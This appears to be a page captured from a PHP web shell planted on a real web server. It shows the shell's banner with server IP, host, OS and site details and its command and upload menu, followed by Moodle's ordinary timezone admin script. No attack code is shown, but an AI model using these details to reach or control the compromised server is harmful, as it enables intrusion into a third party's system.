Server IP : 103.11.96.170 / Your IP : 3.133.141.1 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/lms/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php require_once('../config.php'); $zone = optional_param('zone', '', PARAM_RAW); if (!is_numeric($zone)) { //not a path, but it looks like it anyway $zone = clean_param($zone, PARAM_PATH); } $PAGE->set_url('/admin/timezone.php'); $PAGE->set_context(context_system::instance()); require_admin(); $strtimezone = get_string("timezone"); $strsavechanges = get_string("savechanges"); $strusers = get_string("users"); $strall = get_string("all"); $PAGE->set_title($strtimezone); $PAGE->set_heading($strtimezone); $PAGE->navbar->add($strtimezone); echo $OUTPUT->header(); echo $OUTPUT->heading(""); if (data_submitted() and !empty($zone) and confirm_sesskey()) { echo "<center>"; $DB->execute("UPDATE {user} SET timezone = ?", array($zone)); echo "</center>"; $USER->timezone = $zone; $current = $zone; echo $OUTPUT->notification('Timezone of all users changed', 'notifysuccess'); } else { $current = 99; } require_once($CFG->dirroot.'/calendar/lib.php'); $timezones = core_date::get_list_of_timezones(null, true); echo '<center><form action="timezone.php" method="post">'; echo html_writer::label($strusers . ' (' . $strall . '): ', 'menuzone'); echo html_writer::select($timezones, "zone", $current); echo "<input type=\"hidden\" name=\"sesskey\" value=\"".sesskey()."\" />"; echo '<input type="submit" value="'.s($strsavechanges).'" />'; echo "</form></center>"; echo $OUTPUT->footer();